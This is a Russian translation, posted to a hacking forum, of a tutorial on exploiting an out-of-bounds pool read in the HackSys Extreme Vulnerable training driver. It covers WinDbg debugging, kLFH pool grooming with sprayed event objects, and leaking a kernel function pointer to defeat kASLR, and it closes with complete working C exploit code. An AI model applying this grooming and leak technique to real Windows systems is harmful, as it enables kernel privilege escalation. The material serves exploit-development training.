ExAllocatePoolWithTag выделит фрагмент пула в зависимости от размера, предоставленного здесь клиентом. Проблема в том, что разработчик этого драйвера не просто копирует выходные данные в параметр UserOutputBuffer, но что вызов RtlCopyMemory позволяет клиенту определять количество байтов, записываемых в параметр UserOutputBuffer. Это не проблема переполнения буфера в части UserOutputBuffer, поскольку мы полностью контролируем этот буфер с помощью нашего вызова DeviceIoControl и можем сделать его большим буфером, чтобы избежать его переполнения. Проблема во втором и третьем параметрах.В этом случае выделенный фрагмент пула составляет
0x70 байт. Если мы посмотрим на директиву #ifdef SECURE, мы увидим, что KernelBuffer, созданный вызовом ExAllocatePoolWithTag, копируется в параметр UserOutputBuffer и НИЧЕГО БОЛЬШЕ, как определено параметром POOL_BUFFER_SIZE. Поскольку созданное выделение составляет только POOL_BUFFER_SIZE, мы должны разрешить операции копирования копировать это количество байтов.Если для функции
RtlCopyMemory предоставляется размер больше 0x70 или POOL_BUFFER_SIZE, то соседний фрагмент пула сразу после фрагмента пула KernelBuffer также будет скопирован в UserOutputBuffer. На приведенной ниже диаграмме показаны общие черты.
Если размер операции копирования превышает размер выделения 0x70 байт, количество байтов после 0x70 берется из соседнего фрагмента и также возвращается обратно в пользовательский режим. В случае предоставления значения 0x100 в параметре размера, которым управляет вызывающая сторона, байты 0x70 из выделения будут скопированы обратно в пользователя, а следующие 0x30 байтов из соседнего фрагмента также будут скопированы обратно в пользовательский режим. Давайте проверим это в WinDbg.
Для краткости, процедура доступа к этому коду осуществляется через IOCTL
0x0022204f. Вот код, который мы собираемся отправить драйверу.
Мы можем начать с установки точки останова на
HEVD!TriggerMemoryDisclosureNonPagedPoolNx
В соответствии с соглашением о вызовах
__fastcall два аргумента, переданные в TriggerMemoryDisclosureNonPagedPoolNx, будут в параметрах RCX (UserOutputBuffer) и RDX (размер, указанный нами). Сбрасывая регистр RCX, мы видим 70 байтов, которые будут содержать выделение.
Затем мы можем установить точку останова для
nt!ExAllocatePoolWithTag.
После выполнения вызова мы можем проверить возвращаемое значение в RAX.
Мы знаем, что код IOCTL в этом случае выделил фрагмент пула размером 0x70 байт, но каждое выделение в пуле, в котором находится наш фрагмент, которое обозначено звездочкой выше, на самом деле составляет 0x80 байтов. Помните - каждому фрагменту в kLFH предшествует структура
_POOL_HEADER. Мы можем проверить это ниже, убедившись, что смещение члена PoolTag _POOL_HEADER выполнено успешно.
Общий размер этого фрагмента пула с заголовком составляет 0x80 байт. Вспомните ранее, когда мы говорили о kLFH, что это распределение размера попадет в kLFH! Мы знаем, что следующее, что сделает код в этой ситуации, - это скопировать значения 0x41 во вновь выделенный фрагмент. Давайте установим точку останова на
HEVD!Memset, что на самом деле является тем, что по умолчанию установлен макросом RtlFillMemory.
Проверяя возвращаемое значение, мы видим, что буфер был инициализирован значениями 0x41.
Следующее действие, как мы можем вспомнить, - это копирование данных из только что выделенного фрагмента в пользовательский режим. Установив точку останова на вызове
HEVD!Memcpy, который является фактической функцией, которую вызовет макрос RtlCopyMemory, мы можем проверить RCX, RDX и R8, которые будут местом назначения, источником и размером соответственно.
Обратите внимание, что значение в RCX, которое является адресом пользовательского режима (и адресом нашего выходного буфера, предоставленным
DeviceIoControl), отличается от показанного исходного значения. Это просто потому, что мне пришлось повторно запустить триггер POC между исходным снимком экрана и текущим. Больше ничего не изменилось.После выполнения вызова
memcpy мы ясно видим, что содержимое чанка пула возвращается в пользовательский режим.
Это ожидаемое поведение драйвера. Однако давайте попробуем увеличить размер выходного буфера и посмотрим, что произойдет в соответствии с нашей гипотезой об этой уязвимости. На этот раз давайте установим выходной буфер на 0x100.
На этот раз давайте просто проверим вызов
memcpy.
Обратите внимание на выделенный выше контент после значений 0x41.
Давайте теперь проверим фрагменты пула в этом пуле и рассмотрим фрагмент, примыкающий к нашему фрагменту пула Hack.
В прошлый раз, когда мы выполнили вызов IOCTL, только значения 0x41 были возвращены в пользовательский режим. Однако напомним, что на этот раз мы указали значение 0x100. Это означает, что на этот раз мы также должны вернуть следующие 0x30 байтов после фрагмента пула взлома обратно в пользовательский режим. Взглянем на предыдущее изображение, которое показывает, что следующий за фрагментом Hack фрагмент - это
0xffffe48f4254fb00, который содержит значение 6c54655302081b00 и так далее, что является _POOL_HEADER для следующего фрагмента, как показано ниже.
Эти 0x10 байтов плюс следующие 0x20 байтов должны быть возвращены нам в пользовательском режиме, поскольку мы указали, что хотим выйти за пределы блока пула, следовательно получаем чтение out-of-bounds. Запустив POC, мы увидим, что это так!
Мы видим, за вычетом некоторого безумия порядка байтов, которое происходит, мы успешно прочитали память из соседнего блока! Это очень полезно, но помните, какова наша цель - мы хотим обойти kASLR. Это означает, что нам нужно получить какой-то указатель либо из драйвера, либо из самого
ntoskrnl.exe. Как мы можем этого добиться, если утечка может происходить только из следующего соседнего чанка пула? Для этого нам нужно выполнить некоторые дополнительные шаги, чтобы гарантировать, что, пока мы находимся в сегменте kLFH, соседний фрагмент (-ы) всегда содержит какой-то полезный указатель, который может быть пропущен нами. Этот процесс называется «pool grooming».Ведём собаку к парикмахеру
*Тут игра слов, так как собачий парикмахер - groomer. А мы выполняем pool grooming
До этого момента мы знали, что можем считывать данные из соседних блоков пула, но на данный момент рядом с этими блоками нет ничего интересного. Итак, как нам с этим бороться? Давайте поговорим о нескольких предположениях:
- Мы знаем, что если мы можем выбрать объект для чтения, этот объект должен иметь размер 0x70 байт (0x80 при включении
_POOL_HEADER) - Этот объект необходимо выделить на
NonPagedPoolNxнепосредственно после блока, выделенного HEVD вMemoryDisclosureNonPagedPoolNx. - Этот объект должен содержать какой-то полезный указатель
Как мы видим, на этой странице в пуле есть несколько свободных слотов. Если мы разместили объект размером 0x80 (технически 0x70, где _POOL_HEADER создается динамически), у нас нет способа узнать, или нет способа принудительно выполнить выделение в предсказуемом месте. При этом kLFH может вообще не быть включен из-за эвристического требования 16 последовательных выделений одного и того же размера. Что нам остаётся? Что ж, что мы можем сделать, так это сначала убедиться, что kLFH включен, а затем также «заполнить» все «дыры» или освобожденные выделения в данный момент набором объектов. Это заставит диспетчер памяти полностью выделить новую страницу для обслуживания новых выделений. Этот процесс, когда диспетчер памяти выделяет новую страницу для будущих распределений в ведре kLFH, идеален, поскольку дает нам «чистый лист» для начала без случайных свободных фрагментов, которые можно было бы обслуживать через случайные промежутки времени. Мы хотим сделать это до того, как мы вызовем IOCTL, который запускает функцию
TriggerMemoryDisclosureNonPagedPoolNx в MemoryDisclosureNonPagedPoolNx.c. Это связано с тем, что мы хотим, чтобы выделение для уязвимого фрагмента пула, который будет того же размера, что и объекты, которые мы используем для «распыления» пула, чтобы заполнить дыры, чтобы в конечном итоге находилось на той же странице, что и распыляемые объекты, которые мы контролируем. . Это позволит нам очистить пул и убедиться, что мы можем читать из блока, который содержит некоторую полезную информацию.Вспомним предыдущее изображение, на котором показано, где в настоящее время заканчивается уязвимый фрагмент пула.
Органически, без какой-либо обработки / распыления, мы видим, что на этой странице есть несколько других типов объектов. Примечательно, что мы можем увидеть несколько
Even тегов. Этот тег на самом деле является тегом, используемым для объекта, созданного с помощью вызова CreateEvent, Windows API, который фактически может быть вызван из пользовательского режима. Прототип можно увидеть ниже.
Эта функция возвращает дескриптор объекта, который технически является блоком пула в режиме ядра. Это напоминает то, когда мы получаем дескриптор драйвера для вызова CreateFile. Дескриптор - это промежуточный объект, с которым мы можем взаимодействовать из пользовательского режима, в котором есть компонент режима ядра.
Давайте обновим код, чтобы использовать
CreateEventA для распыления произвольного количества объектов, 5000.
После выполнения обновленного кода и установки точки останова в месте копирования с уязвимым фрагментом пула взгляните на состояние страницы, содержащей фрагмент пула.
Это еще не идеальное состояние, но обратите внимание, как мы повлияли на макет страницы. Теперь мы видим, что есть много свободных объектов и несколько объектов событий. Это напоминает поведение, когда мы получаем новую страницу для уязвимого фрагмента, так как наш уязвимый фрагмент представляет собой предисловие с несколькими объектами событий, а наш уязвимый фрагмент выделяется сразу после него. Мы также можем выполнить дополнительный анализ, проверив предыдущую страницу (напомним, что для наших целей в этой 64-битной установке Windows 10 размер страницы составляет 0x1000 байт из 4 КБ).
Кажется, что все предыдущие свободные блоки были заполнены объектами событий!
Однако обратите внимание, что расположение пула не идеальное. Это связано с тем, что другие компоненты ядра также используют kLFH backet для выделения байтов 0x70 (0x80 с _POOL_HEADER).
Теперь, когда мы знаем, что можем влиять на поведение пула от распыления, цель теперь состоит в том, чтобы выделить всю новую страницу объектами событий, а затем освободить все остальные объекты на странице, которую мы контролируем, на новой странице. Это позволит нам затем, сразу после освобождения любого другого объекта, создать другой объект того же размера, что и объект (ы) события, который мы только что освободили. Таким образом, kLFH из-за оптимизации заполнит свободные слоты новыми объектами, которые мы размещаем. Это связано с тем, что текущая страница - единственная страница, на которой должны быть свободные слоты в
NonPagedPoolNx для выделений, которые обслуживаются kLFH для размера 0x70 (0x80, включая заголовок).Хотелось бы, чтобы схема бассейна выглядела так (пока):
Код:
EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT | EVENT_OBJECT | NEWLY_CREATED_OBJECT
Итак, какой объект мы хотели бы поместить в «дыры», которые мы хотим проткнуть? Это тот объект, который мы хотим вернуть обратно в пользовательский режим, поэтому он должен содержать либо ценную информацию о ядре, либо указатель на функцию. Это самая сложная / самая утомительная часть повреждения пула - найти что-то, что не только имеет необходимый размер, но и содержит ценную информацию. Это особенно важно, если вы не можете использовать общий объект Windows и вам нужно использовать структуру, специфичную для драйвера.
В любом случае, следующая часть немного «упрощена». Потребуется немного реверсинга/отладки для вызовов, которые выделяют блоки пула для объектов, чтобы найти подходящего кандидата. Подойти к этому, по крайней мере, на мой взгляд, можно следующим образом:
- Выявление вызовов
ExAllocatePoolWithTagили аналогичных API - Сузьте этот список, найдя вызовы вышеупомянутых API, которые выделены в пуле, который вы можете повредить (например, если у меня есть уязвимость в
NonPagedPoolNx, найдите выделение вNonPagedPoolNx) - Сузьте этот список, найдя вызовы, которые выполняют предыдущие настроения, но для фрагмента пула данного размера вам нужен
- Если вы зашли так далеко, сузьте его еще больше, найдя объект со всеми атрибутами до и с интересным членом, например указателем на функцию.
USE_AFTER_FREE_NON_PAGED_POOL_NX. Он построен как таковой в UseAfterFreeNonPagedPoolNx.h
Эта структура используется в вызове функции в
UseAfterFreeNonPagedPoolNx.c, а член Buffer инициализируется символами 0x41.
Член обратного вызова, который имеет тип
FunctionCallback и определен как таковой в Common.h: typedef void (*FunctionPointer) (void);, установлен на адрес памяти UaFObjectCallbackNonPagedPoolNx, который функция, расположенная в UseAfterFreeNonPagedPoolNx.c, показала два изображения тому назад! Это означает, что член этой структуры будет содержать указатель на функцию в HEVD, адрес режима ядра. По имени мы знаем, что этот объект будет размещен на NonPagedPoolNx, но вы все равно можете проверить это, выполнив статический анализ при вызове ExAllocatePoolWithTag, чтобы увидеть, какое значение указано для POOL_TYPE.
Это кажется идеальным кандидатом! Цель будет состоять в том, чтобы вернуть эту структуру в пользовательский режим с уязвимостью чтения за пределами диапазона! Единственный фактор, который остается, - это размер - нам нужно убедиться, что этот объект также имеет размер 0x70 байт, чтобы он попал на ту же страницу пула, которую мы контролируем.
Давайте проверим это в WinDbg. Чтобы получить доступ к функции
AllocateUaFObjectNonPagedPoolNx, нам необходимо взаимодействовать с обработчиком IOCTL для этой конкретной подпрограммы, которая определена в NonPagedPoolNx.c.
Код IOCTL, необходимый для выполнения этой процедуры, для краткости:
0x00222053. Давайте установим точку останова на HEVD!AllocateUaFObjectNonPagedPoolNx в WinDbg, вызовем DeviceIoControl для этого IOCTL без каких-либо буферов и посмотрим, какой размер используется в вызове ExAllocatePoolWithTag для выделения этого объекта.
Слегка надуманный, но тем не менее верный, создаваемый здесь объект также имеет размер 0x70 байт (без структуры
_POOL_HEADER) - это означает, что этот объект должен быть размещен рядом с любыми свободными слотами на странице, на которой живут наши объекты событий! Давайте обновим наш POC, чтобы выполнить следующее:- Освободите все остальные объекты события
- Замените каждый второй объект события (5000/2 = 2500) объектом
USE_AFTER_FREE_NON_PAGED_POOL_NX
Используя подпрограмму memcpy (
RtlCopyMemory) из исходной подпрограммы для вызова IOCTL за пределами диапазона в уязвимый фрагмент пула, мы можем проверить фрагмент целевого пула, используемый в операции копирования, который будет фрагментом, возвращаемым обратно пользователю. режим, который может продемонстрировать, что наши объекты событий теперь находятся рядом с несколькими объектами USE_AFTER_FREE_NON_PAGED_POOL_NX.
Мы видим, что фрагменты с тегами Hack, которые являются фрагментами
USE_AFTER_FREE_NON_PAGED_POOL_NX, в значительной степени примыкают к объектам событий! Даже если не каждый объект идеально примыкает к предыдущему объекту события, нас это не беспокоит, потому что уязвимость позволяет нам указать, какую часть данных из соседних фрагментов мы в любом случае хотели бы вернуть в пользовательский режим. Это означает, что мы можем указать произвольное количество, например 0x1000, и это то, сколько байтов будет возвращено из соседних фрагментов.Поскольку существует много смежных блоков, это приведет к утечке информации. Причина этого в том, что kLFH имеет некоторую "фанковость". Это не обязательно связано с какой-либо «рандомизацией» kLFH, как я узнал после разговора с моим коллегой Ярденом Шафиром, где будут находиться свободные фрагменты/где будут происходить распределения, но из-за сложности расположения подсегментов, кеширование и т. д. Вещи могут усложняться довольно быстро. Это выходит за рамки этого сообщения в блоге.
Однако это становится проблемой только тогда, когда клиенты могут читать за пределами границы, но не могут указать, сколько байтов за пределами границы они могут прочитать. Это привело бы к тому, что эксплойтам нужно было запускать несколько раз, чтобы утечка действительного адреса ядра, пока чанки не стали смежными. Тем не менее, я уверен, что тот, кто лучше меня разбирается в pool grooming, легко сможет это понять
Теперь, когда мы можем подготовить пул достаточно прилично, следующим шагом будет замена остальных объектов событий на уязвимые объекты из-за уязвимости чтения за пределами границ! Желаемая планировка пула будет такая:
Код:
VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX | VULNERABLE_OBJECT | USE_AFTER_FREE_NON_PAGED_POOL_NX
Почему мы хотим, чтобы это был желаемый макет? Каждый из
VULNERABLE_OBJECTS может читать дополнительные данные из соседних блоков. Поскольку (теоретически) следующий смежный блок должен быть USE_AFTER_FREE_NON_PAGED_POOL_NX, мы должны вернуть весь этот блок в пользовательский режим. Поскольку эта структура содержит указатель на функцию в HEVD, мы можем обойти kASLR путем утечки указателя из HEVD! Для этого нам потребуется выполнить следующие действия:- Освободите остальные объекты события
- Выполните несколько вызовов обработчика IOCTL для выделения уязвимых фрагментов.
DeviceIoControl, поскольку существует вероятность того, что один из последних адресов памяти на странице будет установлен для одного из наших уязвимых объектов. Если мы укажем, что хотим прочитать 0x1000 байт, и если наш уязвимый объект находится в конце последней допустимой страницы для пула, он попытается прочитать с адреса 0x1000 байт, который может находиться на странице, которая в настоящее время не зафиксирована. в память, вызывая DOS, ссылаясь на недопустимую память. Чтобы компенсировать это, мы хотим выделить только 100 уязвимых объектов, поскольку один из них почти наверняка будет размещен в соседнем блоке с объектом USE_AFTER_FREE_NON_PAGED_POOL_NX.Для этого давайте обновим код следующим образом.
После освобождения объектов событий и обратного чтения данных из соседних фрагментов запускается цикл for для анализа вывода на предмет наличия всего, что имеет расширенный знак (адрес режима ядра). Поскольку выходной буфер будет возвращен в виде массива
unsigned long long, размер 64-битного адреса, и поскольку адрес, из которого мы хотим произвести утечку, является первым членом соседнего фрагмента, после утечки _POOL_HEADER его следует разместить в чистую 64-битную переменную и поэтому легко разбирается. После того, как мы пропустили адрес указателя на функцию, мы можем вычислить расстояние от функции до базы HEVD, добавить расстояние, а затем получить базу HEVD!Выполнение финального эксплойта с использованием той же точки останова при последнем вызове
HEVD!Memcpy (помните, мы выполняем 100 вызовов последней подпрограммы DeviceIoControl, которая вызывает подпрограмму RtlCopyMemory, то есть нам нужно выполнить 99 раз, чтобы вернуть последнюю копию в пользовательский режим), мы можем увидеть макет пула.
Приведенное выше изображение немного сложно расшифровать, учитывая, что и уязвимые блоки, и блоки
USE_AFTER_FREE_NON_PAGED_POOL_NX имеют теги Hack. Однако, если мы возьмем смежный фрагмент с текущим фрагментом, который является уязвимым фрагментом, который мы можем прочитать и обозначить звездочкой, и после его анализа как объекта USE_AFTER_FREE_NON_PAGED_POOL_NX, мы ясно увидим, что этот объект имеет правильный тип и содержит указатель на функцию в HEVD!
Затем мы можем вычесть расстояние от этого указателя функции до основания HEVD и соответствующим образом обновить наш код. Мы видим, что расстояние составляет
0x880cc, поэтому добавить это в код несложно.
После выполнения расчета мы видим, что мы обошли kASLR из-за Low-Integrity, без каких-либо вызовов
EnumDeviceDrivers или аналогичных API!
Окончательный код можно увидеть ниже.
C:
// HackSysExtreme Vulnerable Driver: Pool Overflow/Memory Disclosure
// Author: Connor McGarr(@33y0re)
// Vulnerability description: Arbitrary read primitive
// User-mode clients have the ability to control the size of an allocated pool chunk on the NonPagedPoolNx
// This pool chunk is 0x80 bytes (including the header)
// There is an object, a UafObject created by HEVD, that is 0x80 bytes in size (including the header) and contains a function pointer that is to be read -- this must be used due to the kLFH, which is only groomable for sizes in the same bucket
// CreateEventA can be used to allocate 0x80 byte objects, including the size of the header, which can also be used for grooming
#include <windows.h>
#include <stdio.h>
// Fill the holes in the NonPagedPoolNx of 0x80 bytes
void memLeak(HANDLE driverHandle)
{
// Array to manage handles opened by CreateEventA
HANDLE eventObjects[5000];
// Spray 5000 objects to fill the new page
for (int i = 0; i <= 5000; i++)
{
// Create the objects
HANDLE tempHandle = CreateEventA(
NULL,
FALSE,
FALSE,
NULL
);
// Assign the handles to the array
eventObjects[i] = tempHandle;
}
// Check to see if the first handle is a valid handle
if (eventObjects[0] == NULL)
{
printf("[-] Error! Unable to spray CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
printf("[+] Sprayed CreateEventA objects to fill holes of size 0x80!\n");
// Close half of the handles
for (int i = 0; i <= 5000; i += 2)
{
BOOL tempHandle1 = CloseHandle(
eventObjects[i]
);
eventObjects[i] = NULL;
// Error handling
if (!tempHandle1)
{
printf("[-] Error! Unable to free the CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
}
printf("[+] Poked holes in the new pool page!\n");
// Allocate UaF Objects in place of the poked holes by just invoking the IOCTL, which will call ExAllocatePoolWithTag for a UAF object
// kLFH should automatically fill the freed holes with the UAF objects
DWORD bytesReturned;
for (int i = 0; i < 2500; i++)
{
DeviceIoControl(
driverHandle,
0x00222053,
NULL,
0,
NULL,
0,
&bytesReturned,
NULL
);
}
printf("[+] Allocated objects containing a pointer to HEVD in place of the freed CreateEventA objects!\n");
// Close the rest of the event objects
for (int i = 1; i <= 5000; i += 2)
{
BOOL tempHandle2 = CloseHandle(
eventObjects[i]
);
eventObjects[i] = NULL;
// Error handling
if (!tempHandle2)
{
printf("[-] Error! Unable to free the rest of the CreateEventA objects! Error: 0x%lx\n", GetLastError());
exit(-1);
}
}
// Array to store the buffer (output buffer for DeviceIoControl) and the base address
unsigned long long outputBuffer[100];
unsigned long long hevdBase;
// Everything is now, theoretically, [FREE, UAFOBJ, FREE, UAFOBJ, FREE, UAFOBJ], barring any more randomization from the kLFH
// Fill some of the holes, but not all, with vulnerable chunks that can read out-of-bounds (we don't want to fill up all the way to avoid reading from a page that isn't mapped)
for (int i = 0; i <= 100; i++)
{
// Return buffer
DWORD bytesReturned1;
DeviceIoControl(
driverHandle,
0x0022204f,
NULL,
0,
&outputBuffer,
sizeof(outputBuffer),
&bytesReturned1,
NULL
);
}
printf("[+] Successfully triggered the out-of-bounds read!\n");
// Parse the output
for (int i = 0; i <= 100; i++)
{
// Kernel mode address?
if ((outputBuffer[i] & 0xfffff00000000000) == 0xfffff00000000000)
{
printf("[+] Address of function pointer in HEVD.sys: 0x%llx\n", outputBuffer[i]);
printf("[+] Base address of HEVD.sys: 0x%llx\n", outputBuffer[i] - 0x880CC);
// Store the variable for future usage
hevdBase = outputBuffer[i] + 0x880CC;
break;
}
}
}
}
void main(void)
{
// Open a handle to the driver
printf("[+] Obtaining handle to HEVD.sys...\n");
HANDLE drvHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0x0,
NULL,
OPEN_EXISTING,
0x0,
NULL
);
// Error handling
if (drvHandle == (HANDLE)-1)
{
printf("[-] Error! Unable to open a handle to the driver. Error: 0x%lx\n", GetLastError());
exit(-1);
}
else
{
memLeak(drvHandle);
}
}
Вывод
Эксплойты ядра из браузеров, которые изолированы в песочнице, требуют таких утечек для успешного повышения привилегий. Во второй части этой серии мы объединим эту ошибку с уязвимостью переполнения пула HEVD, чтобы получить примитив чтения / записи и выполнить успешное EoP! Не стесняйтесь обращаться с комментариями, вопросами или исправлениями!
Мир, любовь и позитив
От ТС
Напомню, что эта статья является переводом. Оригинал доступен тут
Вторая часть статьи уже доступна на сайте автора, сделаю и её перевод как только появится время.
Перевод:
Azrv3l cпециально для xss.pro